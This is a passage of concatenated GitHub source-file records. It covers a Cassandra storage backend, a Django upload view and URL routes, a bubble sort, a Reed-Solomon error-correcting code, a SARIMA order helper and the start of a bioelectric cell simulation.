exclusive_range_cond\n\n if where:\n query += \" WHERE \" + where\n\n add_filtering, add_system_hash = self._add_filtering_and_sys_hash(\n schema, indexed_condition_map)\n\n if add_system_hash:\n hash_value = self._encode_predefined_attr_value(\n indexed_condition_map[hash_name].arg\n )\n\n query += \" AND \\\"{}\\\"={}\".format(\n self.SYSTEM_COLUMN_HASH, hash_value)\n\n #add limit\n if limit:\n query += \" LIMIT {}\".format(limit)\n\n #add ordering\n if order_type and range_name:\n query += \" ORDER BY \\\"{}\\\" {}\".format(\n self.USER_COLUMN_PREFIX + range_name, order_type\n )\n\n #add allow filtering\n if add_filtering:\n query += \" ALLOW FILTERING\"\n\n if consistent:\n query = cluster.SimpleStatement(query)\n query.consistency_level = cluster.ConsistencyLevel.QUORUM\n\n rows = self._execute_query(query)\n\n if select_type.is_count:\n return models.SelectResult(count=rows[0]['count'])\n\n # process results\n\n prefix_len = len(self.USER_COLUMN_PREFIX)\n attr_defs = {attr.name: attr.type for attr in schema.attribute_defs}\n result = []\n\n # TODO ikhudoshyn: if select_type.is_all_projected,\n # get list of projected attrs by index_name from metainfo\n\n attributes_to_get = select_type.attributes\n\n for row in rows:\n record = {}\n\n #add predefined attributes\n for key, val in row.iteritems():\n if key.startswith(self.USER_COLUMN_PREFIX) and val:\n name = key[prefix_len:]\n if not attributes_to_get or name in attributes_to_get:\n storage_type = attr_defs[name]\n record[name] = self._decode_value(\n val, storage_type, True)\n\n #add dynamic attributes (from SYSTEM_COLUMN_ATTRS dict)\n types = row[self.SYSTEM_COLUMN_ATTR_TYPES]\n attrs = row[self.SYSTEM_COLUMN_ATTRS] or {}\n for name, val in attrs.iteritems():\n if not attributes_to_get or name in attributes_to_get:\n typ = types[name]\n storage_type = self.CASSANDRA_TO_STORAGE_TYPES[typ]\n record[name] = self._decode_value(\n val, storage_type, False)\n\n result.append(record)\n\n count = len(result)\n if limit and count == limit:\n last_evaluated_key = {\n hash_name: result[-1][hash_name],\n range_name: result[-1][range_name]\n }\n else:\n last_evaluated_key = None\n\n return models.SelectResult(items=result,\n last_evaluated_key=last_evaluated_key,\n count=count)\n\n def scan(self, context, table_name, condition_map, attributes_to_get=None,\n limit=None, exclusive_start_key=None, consistent=False):\n \"\"\"\n @param context: current request context\n @param table_name: String, name of table to get item from\n @param condition_map: indexed attribute name to\n IndexedCondition instance mapping. It defines rows\n set to be selected\n @param limit: maximum count of returned values\n @param exclusive_start_key: key attribute names to AttributeValue\n instance\n @param consistent: define is operation consistent or not (by default it\n is not consistent)\n\n @return list of attribute name to AttributeValue mappings\n\n @raise BackendInteractionException\n \"\"\"\n\n condition_map = condition_map or {}\n\n key_conditions = {}\n #TODO ikhudoshyn: fill key_conditions\n\n selected = self.select_item(context, table_name, key_conditions,\n models.SelectType.all(), limit=limit,\n consistent=consistent,\n exclusive_start_key=exclusive_start_key)\n\n filtered = filter(\n lambda row: self._conditions_satisfied(\n row, condition_map),\n selected)\n\n if attributes_to_get:\n for row in filtered:\n for attr in row.keys():\n if not attr in attributes_to_get:\n del row[attr]\n\n return filtered\n\n @staticmethod\n def _add_filtering_and_sys_hash(schema, condition_map={}):\n\n condition_map = condition_map or {}\n\n hash_name = schema.key_attributes[0]\n\n if hash_name in condition_map:\n assert (condition_map[hash_name].type\n == models.Condition.CONDITION_TYPE_EQUAL)\n\n try:\n range_name = schema.key_attributes[1]\n except IndexError:\n range_name = None\n\n non_pk_attrs = [\n key\n for key in condition_map.iterkeys()\n if key != hash_name and key != range_name\n ]\n\n non_pk_attrs_count = len(non_pk_attrs)\n\n if non_pk_attrs_count == 0:\n return False, False\n\n indexed_attrs = [\n ind_def.attribute_to_index\n for ind_def in schema.index_defs\n ]\n\n has_one_indexed_eq = any(\n [(attr in indexed_attrs) and\n (condition_map[attr].type ==\n models.Condition.CONDITION_TYPE_EQUAL)\n for attr in non_pk_attrs])\n\n add_sys_hash = not has_one_indexed_eq\n add_filtering = non_pk_attrs_count > 1 or add_sys_hash\n\n return add_filtering, add_sys_hash\n\n def _conditions_satisfied(self, row, cond_map={}):\n cond_map = cond_map or {}\n return all([self._condition_satisfied(row.get(attr, None), cond)\n for attr, cond in cond_map.iteritems()])\n\n @staticmethod\n def _condition_satisfied(attr_val, cond):\n if not attr_val:\n return False\n\n if cond.type == models.Condition.CONDITION_TYPE_EQUAL:\n return (attr_val.type == cond.arg.type and\n attr_val.value == cond.arg.value)\n\n if cond.type == models.IndexedCondition.CONDITION_TYPE_LESS:\n return (attr_val.type == cond.arg.type and\n attr_val.value < cond.arg.value)\n\n if cond.type == models.IndexedCondition.CONDITION_TYPE_LESS_OR_EQUAL:\n return (attr_val.type == cond.arg.type and\n attr_val.value <= cond.arg.value)\n\n if cond.type == models.IndexedCondition.CONDITION_TYPE_GREATER:\n return (attr_val.type == cond.arg.type and\n attr_val.value > cond.arg.value)\n\n if (cond.type ==\n models.IndexedCondition.CONDITION_TYPE_GREATER_OR_EQUAL):\n return (attr_val.type == cond.arg.type and\n attr_val.value >= cond.arg.value)\n\n if cond.type == models.IndexedCondition.CONDITION_TYPE_BETWEEN:\n first, second = cond.arg\n return (attr_val.type == first.type and\n second.type == first.type and\n first.value <= attr_val.value <= second.value)\n\n if cond.type == models.IndexedCondition.CONDITION_TYPE_BEGINS_WITH:\n return (attr_val.type == cond.arg.type and\n attr_val.value.startswith(cond.arg.value))\n\n return False\n","repo_name":"sirmax123/magnetodb","sub_path":"magnetodb/storage/impl/cassandra_impl.py","file_name":"cassandra_impl.py","file_ext":"py","file_size_in_byte":36043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"}
+{"seq_id":"17741931951","text":"# -*- coding:utf-8 -*-\nfrom django.shortcuts import render_to_response, render\nfrom django.http import HttpResponse\n\n# Create your views here.\nfrom .forms import addform\nfrom .models import queryapply\n\nimport os\nimport shutil\n\ndef index(request):\n if request.method == 'POST':\n\n form = addform(request.POST, request.FILES)\n\n if form.is_valid():\n busid = form.cleaned_data['busid']\n token = form.cleaned_data['token']\n usr_name = form.cleaned_data['usr_name']\n filepath = form.cleaned_data['filepath']\n aa = queryapply()\n aa.busid = busid\n aa.token = token\n aa.usr_name = usr_name\n aa.filepath = filepath\n aa.save()\n if len(os.listdir('tmpfiles/tmp')) > 1:\n return HttpResponse('上传失败,正在处理上批任务,请稍后!')\n else:\n f = open('tmpfiles/tmp/' + os.listdir('tmpfiles/tmp')[0])\n bb = f.read()\n f.close()\n bb = bb.split(\"\\n\")\n for file in os.listdir('tmpfiles/tmp'):\n shutil.move(os.path.join('tmpfiles/tmp', file), 'tmpfiles/bac') \n return render(request, 'home.html', {'bb': bb})\n else:\n form = addform()\n return render_to_response('index.html', {'form': form})\n \n\n\n","repo_name":"xzhata/django-learning","sub_path":"xz_up/uploads/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"17428654679","text":"def bubblesort(A):\n k=len(A)\n for j in range(k,-1,-1):\n for i in range(0,j-1):\n if(A[i]>A[i+1]):\n temp=A[i]\n A[i]=A[i+1]\n A[i+1]=temp\n k=k-1\n return A\nA=[5,4,10,2,11]\nprint(bubblesort(A))\n","repo_name":"h96Coder/Programming","sub_path":"Sorting/bubblesort.py","file_name":"bubblesort.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"7286867733","text":"from polynomial import PolynomialOperations\nimport fieldmath\n\n\nclass GeneralizedReedSolomon(object):\n \"\"\"\n This class is an implementation of the Generalized Reed Solomon error correcting code as presented by Yehuda Lindell\n in section 6 of the following lecture notes: http://u.cs.biu.ac.il/~lindell/89-662/main-89-662.html\n Reed-Solomon is a linear [n,k,n-k+1]-code meaning we can correct up to floor((n-k)/2) errors.\n \"\"\"\n generator_matrix = None\n parity_check_matrix = None\n vp_arr = None # Note: this is used for generation while v_arr is for parity checks\n\n def __init__(self, f, k, n=None, conventional_creation=False, alpha=None, v_arr=1, print_matrices=False):\n \"\"\"\n With the provided parameters we can generate the generator and parity check matrices and generator polynomials.\n It is up to the user to ensure all provided inputs for __init__ encode and decode satisfy the field.\n Exceptions will be raised only by field class.\n Note: This implementation serves as an example. Many improvements can be made to speed it up\n :param f: Provided field class to perform all mathematical operations under. The recommended field is\n BinaryField(0x11d). Any valid field is allowed. Note neither this class nor Field check to ensure a valid field\n :param alpha: The code locators. The size of this array determines what n is. These values are entirely\n arbitrary, but must exist in the field f. a single value for alpha should be used if conventional_creation=True\n conventional_creation is explaining in section 6.2 under Classical Reed-Solomon.\n :param n: This parameter will automatically generate the alpha array, to contain n elements. It is recommended\n that conventional_creation=True when using this option. Note: either n or alpha must be not None. If both are\n provided alpha will be selected as default.\n :param conventional_creation: if True both a single alpha and n must be provided.\n :param v_arr: Column multipliers for H. Can either be a list of non-zero elements or a single element of the\n field. Ex v_arr=1 to use a normalized GRS, where 1 is the 1 element of the provided field.\n :param print_matrices: boolean on whether code should print G and H once they are created\n \"\"\"\n # First we need to make sure our field is valid.\n if isinstance(f, fieldmath.Field):\n self.f = f\n else:\n raise Exception(\"Please provide a valid Field\")\n\n self.p = PolynomialOperations(self.f)\n\n # Next we want to work on our alpha array\n self.alpha_arr = []\n if alpha and isinstance(alpha, list):\n self.alpha_arr = alpha # This assumes the user knows that they're doing\n elif n is not None:\n if conventional_creation:\n if alpha and not isinstance(alpha, list):\n for i in range(1, n+1):\n self.alpha_arr.append(fieldmath.pow_over_field(alpha, i, self.f))\n else:\n raise Exception(\"alpha seems to be incorrect, ensure it is a single element of the specified field\")\n else:\n try:\n self.alpha_arr = [self.f.multiply(self.f.one(), i) for i in range(2, n + 2)]\n except:\n raise Exception(\"Failed to create alpha array. Try conventional_creation=True\")\n else:\n raise Exception(\"Either the parameter alpha_arr or n must be included\")\n\n if print_matrices:\n print(self.alpha_arr)\n\n # Set basic parameters for the code based on other inputs\n self.n = len(self.alpha_arr)\n self.k = k\n self.d = self.n - self.k + 1\n\n # save column multipliers for the parity check matrix\n if isinstance(v_arr, int):\n self.v_arr = [self.f.multiply(v_arr, self.f.one())]*self.n\n elif isinstance(v_arr, list):\n self.v_arr = v_arr # Assumes user knows what they're doing\n else:\n raise TypeError(\"v_arr must be of type int or list\")\n\n # A few checks to make sure everything is correct\n # q >= n not checked. Assumes user knows what they're doing\n if not self.k <= self.n:\n raise Exception(f\"Does not satisfy k <= n: k={self.k}, n={self.n}\")\n\n # Now we can create the matrices\n print(f\"Initializing linear GRS [{self.n}, {self.k}, {self.d}]-code.\")\n print(f\"This GRS code can correct up to {int((self.d-1)/2)} errors.\\n\")\n self.create_matrices()\n if print_matrices:\n print(f\"Generator matrix: \\n{self.generator_matrix}\")\n print(f\"Parity Check matrix: \\n{self.parity_check_matrix}\\n\")\n\n def encode(self, msg, use_poly=True):\n \"\"\"\n There are two methods of doing this: use generator matrix or generator polynomial.\n Default is the polynomial, both work and result in the same outcome. Although matrix multiplication is rather\n simple for often than not RS is defined with the generator polynomial method.\n :param msg: input message of size k. Elements must be elements of the field f.\n :param use_poly: boolean to specify the use of the generator polynomial over generator matrix\n :return: encoded message of size n\n \"\"\"\n if len(msg) != self.k:\n raise Exception(f\"Input message must be of size k, k={self.k}\")\n\n if use_poly:\n encoded_msg = []\n for i in range(0, self.n):\n encoded_msg.append(self.f.multiply(self.vp_arr[i], self.p.poly_call(msg, self.alpha_arr[i])))\n return encoded_msg\n else:\n # E(m) = m*G where m is our msg\n msg_matrix = fieldmath.Matrix(1, self.k, self.f)\n for i in range(self.k):\n msg_matrix.set(0, i, msg[i])\n\n return (msg_matrix * self.generator_matrix).to_list(single=True)\n\n def decode(self, msg):\n \"\"\"\n Decodes and error corrects. This is by far the most difficult part. This implementation uses the\n Peterson-Gorenstein-Zierier GRS Decoding algorithm as presented in section 6.3 and 6.3.4 of the lecture notes.\n All calculations should be done in provided field. Very generally this approach solves the key equations (6.3.3)\n by find the kernel of the matrix created from the last d - 1 - tau equations. these will represent the\n coefficients of the lambda polynomial. We can then plug these back into the other key equations and fine the\n coefficients for the gamma polynomial. Note that these polynomials do not represent the actualy polynomials we\n need and to find the polynomials we need we can divide lambda by the gcd of lambda and gamma. This will van then\n be used to find where errors are and we can then solve our syndrome equations to find what the errors are and\n we then correct them and have our corrected encoded message.\n :param msg: Input message of size n\n :return: returns decoded and error corrected message of size k\n \"\"\"\n # First find syndrome (S_0, ... , S_d-2)\n msg_synd = self.syndrome(msg)\n msg_matrix = fieldmath.create_matrix([msg], self.f) # creates msg row vector\n\n # we want to build the system of equations as presented on page 48 of the lecture notes\n if any([syn != self.f.zero() for syn in msg_synd]):\n msg_syndrome = fieldmath.create_matrix([msg_synd], self.f)\n tau = (self.d - 1) // 2\n syndrome_matrix = fieldmath.Matrix(self.d - 1, tau + 1, self.f, init_val=self.f.zero())\n for i in range(self.d - 1):\n for j in range(i, max(-1, i - tau - 1), -1):\n syndrome_matrix.set(i, i - j, msg_syndrome.get(0, j))\n\n # With the syndrome matrix we want to solve the last d-1-tau equations\n # To find lambda_poly\n lam_eqs = syndrome_matrix.get_sub_matrix(tau, None, None, None)\n lam_kernel_space = lam_eqs.kernel_space()\n if lam_kernel_space != 0:\n lam_coeff_matrix = lam_kernel_space * fieldmath.create_matrix([[1]] * lam_kernel_space.columns,\n self.f)\n lam_coeff = lam_coeff_matrix.to_list(single=True)\n\n # plug lambda back into key equations to find gamma_poly\n gamma_coeff_matrix = syndrome_matrix.get_sub_matrix(None, tau, None, None)*lam_coeff_matrix\n gamma_coeff = gamma_coeff_matrix.to_list(single=True)\n\n # Calculate the GCD\n gcd_lg = self.p.poly_gcd(lam_coeff, gamma_coeff)\n\n # divide to find error_locator_poly\n error_locator_poly, rem = self.p.poly_divmod(lam_coeff, gcd_lg)\n\n # Find where the errors are by finding when Lambda(alpha_arr_k^-1) == 0\n # Where Lambda is our error_locator_poly.\n error_locations = []\n for j in range(len(self.alpha_arr)):\n alpha_inv = self.f.reciprocal(self.alpha_arr[j])\n if self.p.poly_call(error_locator_poly, alpha_inv) == 0:\n error_locations.append(j)\n\n if len(error_locations) != 0:\n # Now to actually figure out what the errors are. Solve Syndrome for e_j for each j in error\n # locations\n err_matrix = fieldmath.Matrix(self.d - 1, len(error_locations), self.f)\n for r in range(err_matrix.rows):\n for c in range(err_matrix.columns):\n val = self.f.multiply(self.v_arr[error_locations[c]],\n fieldmath.pow_over_field(self.alpha_arr[error_locations[c]], r,\n self.f))\n err_matrix.set(r, c, val)\n\n # This next line has resulted in an error once in multiple thousands of test and I haven't figured\n # why. And I have not be able to reproduce it.\n try:\n errors = fieldmath.solve_ax_b(err_matrix, msg_syndrome.transpose())\n except Exception as e:\n print(f\"Could not solve and find errors using solve_ax_b: {e}\")\n errors = fieldmath.create_matrix([[0]]*err_matrix.columns, self.f)\n\n # finally fix the errors\n for i in range(len(error_locations)):\n msg_matrix.set(0, error_locations[i],\n self.f.subtract(msg_matrix.get(0, error_locations[i]), errors.get(i, 0)))\n\n # Last step: give provided msg that created the encoded msg. Because we aren't using G and H in standard form\n # We need to solve for what msg provided us with the output. If the number of errors is greater than the number\n # of fixable errors we wont have a valid message therefore trying to solve this will result in error.\n if not self.syndrome(msg_matrix).any():\n return fieldmath.solve_ax_b(self.generator_matrix.transpose(), msg_matrix.transpose()).to_list(single=True)\n else:\n # If we cant correct error the entire message is unusable so you can return all zeros as placeholder\n return [0]*self.k\n\n def syndrome(self, msg):\n \"\"\"\n Computes the syndrome of a code. This is used in the decode function.\n :param msg:\n :return: S_H(msg) = (S_0, ... , S_{d-2}) in the same type as input msg\n \"\"\"\n if isinstance(msg, list):\n syndrome = []\n for l in range(self.d-1):\n syn_l = self.f.zero()\n for j in range(self.n):\n syn_l = self.f.add(syn_l, self.f.multiply(self.f.multiply(msg[j], self.v_arr[j]),\n fieldmath.pow_over_field(self.alpha_arr[j], l, self.f)))\n syndrome.append(syn_l)\n return syndrome\n elif isinstance(msg, fieldmath.Matrix):\n if msg.columns != self.n:\n raise Exception(\"Input message must be of size n.\")\n # y*H^T where y is our msg\n return msg * self.parity_check_matrix.transpose()\n else:\n raise TypeError()\n\n def create_matrices(self):\n \"\"\"\n This acts as a helper function to create the generator and parity check matrices\n Although it may be possible to put matrices to be in standard form G = (I|X), H = (X^T|I) it would make decoding\n very difficult so it is not an option.\n \"\"\"\n self.generator_matrix = fieldmath.Matrix(self.k, self.n, self.f)\n self.parity_check_matrix = fieldmath.Matrix(self.n - self.k, self.n, self.f)\n\n # Create Parity Check matrix\n self.parity_check_matrix = self.create_parity_check_matrix(self.k)\n\n # To find the column multipliers (v_1', ... , v_n') we need to solve for a single message in the code defined\n # by the parity check matrix with k = 1\n k_one_t = self.create_parity_check_matrix(1)\n k_one_kernel_space = k_one_t.kernel_space()\n if isinstance(k_one_kernel_space, int):\n raise Exception(\"Could not find k = 1 parity check matrix. Try different alpha.\")\n\n self.vp_arr = (k_one_kernel_space * fieldmath.create_matrix([[1]] * k_one_kernel_space.columns,\n self.f)).to_list(single=True)\n\n # Create Generator matrix from alpha and vp_arr\n for i in range(self.generator_matrix.rows): # rows\n for j in range(self.generator_matrix.columns): # columns\n val = self.f.multiply(self.vp_arr[j], fieldmath.pow_over_field(self.alpha_arr[j], i, self.f))\n self.generator_matrix.set(i, j, val)\n\n # Acts as a final check that the generator and parity check matrices are valid\n if (self.parity_check_matrix*self.generator_matrix.transpose()).any():\n raise Exception(\"Generator and Parity Check matrices do no align.\")\n if not isinstance(self.generator_matrix.transpose().kernel_space(), int):\n raise Exception(\"Generator matrix has LD rows.\")\n if not isinstance(self.parity_check_matrix.transpose().kernel_space(), int):\n raise Exception(\"Generator matrix has LD rows.\")\n\n def create_parity_check_matrix(self, k):\n \"\"\"\n Helper function to create parity check matrix for a given k\n :param k:\n :return: parity check matrix\n \"\"\"\n pc_matrix = fieldmath.Matrix(self.n - k, self.n, self.f)\n\n for i in range(0, pc_matrix.rows): # rows\n for j in range(0, pc_matrix.columns): # columns\n val = self.f.multiply(self.v_arr[j], fieldmath.pow_over_field(self.alpha_arr[j], i, self.f))\n pc_matrix.set(i, j, val)\n return pc_matrix\n\n\nif __name__ == '__main__':\n # The below is an example implementation of a GRS [15, 10, 6]-code in the binary field of 256 elements.\n field = fieldmath.BinaryField(0x11d)\n grs = GeneralizedReedSolomon(f=field, k=10, n=15, v_arr=1, alpha=0x2, conventional_creation=True)\n\n # This will encode the message of length 10, \"a \".\n input_msg = [ord('a'), 32, 32, 32, 32, 32, 32, 32, 32, 32]\n print(f\"Original message: {input_msg}\")\n encoded_mesg = grs.encode(input_msg)\n print(f\"Encoded message: {encoded_mesg}\\n\")\n\n # First consider the case where no error occurred.\n print(\"No Error:\")\n print(f\"Syndrome of received message with out error: {grs.syndrome(encoded_mesg)}\")\n print(f\"Decoded message without error: {grs.decode(encoded_mesg)}\\n\")\n\n # By changing out the following lines with another we can see how 1 vs 2 vs 3 errors affects the result\n # Remember for this case we can correct a max of 2 errors\n # error = [107, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] # One Error\n error = [0, 4, 0, 250, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] # Two Errors\n # error = [0, 3, 0, 0, 0, 2, 0, 0, 0, 5, 0, 0, 0, 0, 0] # Three Errors\n\n msg_w_error = []\n for m in range(len(encoded_mesg)):\n msg_w_error.append(field.add(encoded_mesg[m], error[m]))\n\n print(\"Error:\")\n print(f\"Received message with error: {msg_w_error},\\n\\tError: {error}\\n\")\n\n # The syndrome of both the msg and the error alone\n print(f\"Syndrome of received message with error: {grs.syndrome(msg_w_error)}\")\n print(f\"Syndrome of error alone: {grs.syndrome(error)}\\n\")\n\n decoded_msg = grs.decode(msg_w_error)\n print(f\"Decoded received message with error: {decoded_msg}\\n\")\n\n print(f\"Success: {input_msg == decoded_msg}\")\n\n\n\n\n\n","repo_name":"jorqueraian/ReedSolomon","sub_path":"ReedSolomon.py","file_name":"ReedSolomon.py","file_ext":"py","file_size_in_byte":16950,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"23652679713","text":"from . import views\nfrom django.urls import path\nfrom .views import RegisterView, ProfileList, ProfileCreate, Watch, ShowMovieDetail, ShowMovie, login_request, logout_request\n\napp_name = 'my_video_platform'\n\nurlpatterns = [\n path('', views.start_view, name='start_view'),\n path('signup/', RegisterView.as_view(), name='signup'),\n path('login/', login_request, name='login'),\n path('logout/', logout_request, name='logout'),\n path('profile/', ProfileList.as_view(), name='profile_list'),\n path('profile_create/', ProfileCreate.as_view(), name='profile_create'),\n path('watch//', Watch.as_view(), name='watch'),\n path('movie_detail//', ShowMovieDetail.as_view(), name='show_det'),\n path('movie//', ShowMovie.as_view(), name='play')\n]","repo_name":"WojciechWalendziak/video_platform_membership","sub_path":"my_video_platform/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"3102414015","text":"# fitting a stepwise model:\nfrom pmdarima.arima import auto_arima\n\ndef order(df):\n\n stepwise_fit = auto_arima(df, start_p=3, start_q=3, max_p=5, max_q=5, m=52,\n start_P=0, seasonal=True, d=1, D=1, trace=True,\n error_action='ignore', # don't want to know if an order does not work\n suppress_warnings=True, # don't want convergence warnings\n stepwise=True,\n random=True,\n n_fits=5) # set to stepwise\n \n print(\"stepwise_fit: \", stepwise_fit.summary())","repo_name":"jcarless/DashOfData","sub_path":"Model/Models/sarima_order.py","file_name":"sarima_order.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"24201851277","text":"import numpy as np\nimport scipy\nimport math\t# To get pi.\nimport sim_toolbox as stb\nimport operator\nimport edebug as edb\n\n# import pdb; pdb.set_trace()\n\n# Stuff all of the fundamental constants and commonly used parameters into a\n# class. Any instance of this class will thus have all the constants.\nclass Params(object):\n def __init__(self):\n self.F = 96485 # Faraday constant [C/mol]\n self.R = 8.314 # Gas constant [J/K*mol]\n self.eo = 8.854e-12 # permittivity of free space [F/m]\n self.kb = 1.3806e-23 # Boltzmann constant [m2 kg/ s2 K1]\n self.q = 1.602e-19 # electron charge [C]\n self.tm = 7.5e-9 # thickness of cell membrane [nm]\n self.cm = 0.05 # patch capacitance of membrane [F/m2]\n self.T = 310 # temperature in Kelvin\n self.deltaGATP = -37000 # free energy released in ATP hydrolysis [J/mol]\n self.cATP = 1.5 # ATP concentration (mol/m3)\n self.cADP = 0.15 # ADP concentration (mol/m3)\n self.cPi = 0.15 # Pi concentration (mol/m3)\n self.alpha_NaK =1.0e-7 # max rate constant Na-K ATPase/unit surface area\n self.KmNK_Na = 12.0 # NaKATPase enzyme ext Na half-max sat value\n self.KmNK_K = 0.2 # NaKATPase enzyme ext K half-max sat value\n self.KmNK_ATP = 0.5 # NaKATPase enzyme ATP half-max sat value\n self.cell_r = 5.0e-6 # radius of single cell (m)\n self.GJ_len = 100e-9 # distance between two GJ connected cells (m)\n self.cell_sa = (4 * math.pi * self.cell_r ** 2) # cell surface area\n self.cell_vol = ((4 / 3) * math.pi * self.cell_r ** 3) # cell volume\n self.k26mV_inv = self.F / (self.R*self.T)\n\n # Simulation control. Sim_*_dump_interval is multiples of the .005 sec\n # timestep, and is only relevant for explicit integration.\n self.sim_dump_interval=10\n self.sim_long_dump_interval=100\n self.no_dumps = False\n\n # Numerical-integration parameters. These place a limit on how much\n # any cell's Vmem, or any ion concentration, can change in one timestep.\n self.sim_integ_max_delt_Vm = .0001\t# Volts/step\n # .001 means that no [ion] can change by more than .1% in one timestep.\n self.sim_integ_max_delt_cc = .001\n self.adaptive_timestep = True\t# So that the params above get used.\n self.use_implicit = False\t# Use the implicit integrator\n self.max_step = 1e6\t\t# big number\n self.rel_tol = 1e-3\t\t# these are the default rel_tol and\n self.abs_tol = 1e-6\t\t# abs_tol for solve_ivp()\n\ndef init_big_arrays (n_cells, n_GJs, p, extra_ions=[], n_GJ_types=1):\n global cc_cells, cc_env, Dm_array, z_array, ion_i, \\\n GJ_diffusion, GJ_connects, GP, pump_scaling\n GP = p\n\n ### TEMPORARY CODE FOR PUMPS?\n pump_scaling = np.ones((n_cells))\n\n # ion properties (Name, base membrane diffusion [m2/s], valence\n #\tinitial concentration inside cell [mol/m3],\n #\tfixed concentration outside cell [mol/m3], \n # These are temporary structures. We use them to provide initial values for\n # the big arrays we are about to build, and to specify the order of which\n # row represents which ion in those arrays.\n Na={'Name':'Na', 'D_mem':1e-18, 'D_GJ':1e-18, 'z':1, 'c_in':10, 'c_out':145}\n K ={'Name':'K', 'D_mem':1e-18, 'D_GJ':1e-18, 'z':1, 'c_in':125,'c_out':5}\n Cl={'Name':'Cl', 'D_mem':1e-18, 'D_GJ':1e-18, 'z':-1,'c_in':55, 'c_out':140}\n P= {'Name':'P', 'D_mem':0, 'D_GJ':1e-18, 'z':-1,'c_in':80, 'c_out':10}\n\n # stack the above individual dictionaries into a list to make it easier to\n # process them in the loop below.\n ions_vect = [Na, K, Cl, P]\n\n # Any particular sim may want to declare extra ions.\n for ion in extra_ions:\n ions_vect.append ({'Name':ion, 'D_mem':0.0, 'D_GJ':1e-18,\n 'z':0, 'c_in':0, 'c_out':0})\n n_ions = len(ions_vect)\n\n cc_cells = np.empty((n_ions, n_cells))\n Dm_array = np.empty((n_ions, n_cells))\n z_array = np.empty((n_ions))\n cc_env = np.empty((n_ions))\n GJ_diffusion = np.empty((n_ions,n_GJ_types))\n\n ion_i = {}\n\n # Push the parameters of the above ions into the various arrays.\n for row, ion_obj in enumerate(ions_vect):\n cc_cells[row,:] = ion_obj['c_in']\t# initial cell conc\n cc_env[row] = ion_obj['c_out']\t# fixed environmental conc\n Dm_array[row] = ion_obj['D_mem']\t# initial membrane diff coeff\n z_array[row] = ion_obj['z']\t\t# fixed ion valence\n GJ_diffusion[row] = ion_obj['D_GJ']\t# diffusion rate through GJs\n ion_i[ion_obj['Name']] = row\t\t# map ion name -> its row\n\n # Create default arrays for GJs.\n GJ_connects=np.zeros((n_GJs), dtype=[('from','i4'),('to','i4'),\n ('scale','f4'),('type','i4')])\n\n # The global lists of gating objects.\n global IC_gates, GJ_gates, GD_gates\n IC_gates = []\n GJ_gates = []\n GD_gates = []\n\n# The main \"do-it\" simulation function.\n# Takes the current cc_cells[n_ions,n_cells], does all of the physics work, and\n# returns an array of concentration slew rates [n_ions,n_cells]; i.e.,\n# moles/m3 per second.\n# Sim_slopes() is only called from sim.sim().\ndef sim_slopes (t, Cc_cells):\n global cc_env, Dm_array, z_array, ion_i, Vm, GJ_connects, GP, \\\n cc_cells, pump_scaling\n cc_cells = Cc_cells\n Vm = compute_Vm (cc_cells)\n\n # 1. We will return slew_cc as (moles/m3) per sec. However, we first\n # accumulate most of the fluxes as (moles/m2) per sec, and then multiply\n # by the cell surface area later on.\n # 2. For (moles/m2)/s: m2 of what area? You might think that for, e.g., ion\n # channels, it should be per m2 of ion-channel area -- but it's not.\n # *All* fluxes are per m2 of cell-membrane area; that's what makes the\n # system nice and consistent for not only ICs, but also GJs and pumps.\n # Thus, the (e.g.,) diffusion rate through ion channels must be scaled\n # down by the fraction of membrane area occupied by channels (and similar\n # for ion pumps and GJs).\n slew_cc = np.zeros (cc_cells.shape) # Temporarily in (moles/m2) per sec.\n\n # Run the Na/K-ATPase ion pump in each cell.\n # Returns two 1D arrays[N_CELLS] of fluxes; units are (moles/m2)/s\n pump_Na,pump_K,_ = stb.pumpNaKATP(cc_cells[ion_i['Na']],cc_env[ion_i['Na']],\n cc_cells[ion_i['K']], cc_env[ion_i['K']],\n Vm, GP.T, GP, pump_scaling)\n\n # Kill the pumps on worm-interior cells (based on Dm=0 for all ions)\n keep_pumps = np.any (Dm_array>0, 0)\t# array[n_cells]\n pump_Na *= keep_pumps\n pump_K *= keep_pumps\n\n # Update the cell-interior [Na] and [K] after pumping (assume env is too big\n # to change its concentration).\n slew_cc[ion_i['Na']] = pump_Na\n slew_cc[ion_i['K']] = pump_K\n\n f_GHK = stb.GHK (cc_env, cc_cells, Dm_array, z_array, Vm, GP)\n for g in IC_gates:\n f_GHK[g.out_ion] *= g.func (g, cc_cells, Vm, t)\n slew_cc += f_GHK\t# again, still in (moles/m2) per sec\n\n # Gap-junction computations.\n deltaV_GJ = (Vm[GJ_connects['to']] - Vm[GJ_connects['from']]) # [n_GJs]\n\n # Get the gap-junction Norton-equivalent circuits for all ions at once.\n # Units of Ith are mol/(m2*s); units of Gth are mol/(m2*s) per Volt.\n (GJ_Ith, GJ_Gth) = GJ_norton(deltaV_GJ)\t# Both are [n_ions,n_GJs].\n f_GJ = GJ_Ith + deltaV_GJ*GJ_Gth\t# [n_ions,n_GJs]\n\n # g.func returns scale[n_GJs]; f_GJ is [n_ions,n_GJs]\n for g in GJ_gates:\n f_GJ *= g.func (g, cc_cells, Vm, t)\n\n # Update cells with GJ flux:\n # Note that the simple slew_cc[ion_index, GJ_connects['to']] += f_GJ\n # doesn't actually work in the case of two GJs driving the same 'to'\n # cell. Instead, we use np.add.at().\n for ion_index in range (cc_cells.shape[0]):\t# for each ion\n np.add.at (slew_cc[ion_index,:], GJ_connects['from'], -f_GJ[ion_index])\n np.add.at (slew_cc[ion_index,:], GJ_connects['to'], f_GJ[ion_index])\n\n # The current slew_cc units are moles/(m2*s), where the m2 is m2 of\n # cell-membrane area. To convert to moles/s entering the cell, we multiply\n # by the cell's surface area. Then, to convert to moles/m3 per s entering\n # the cell, we divide by the cell 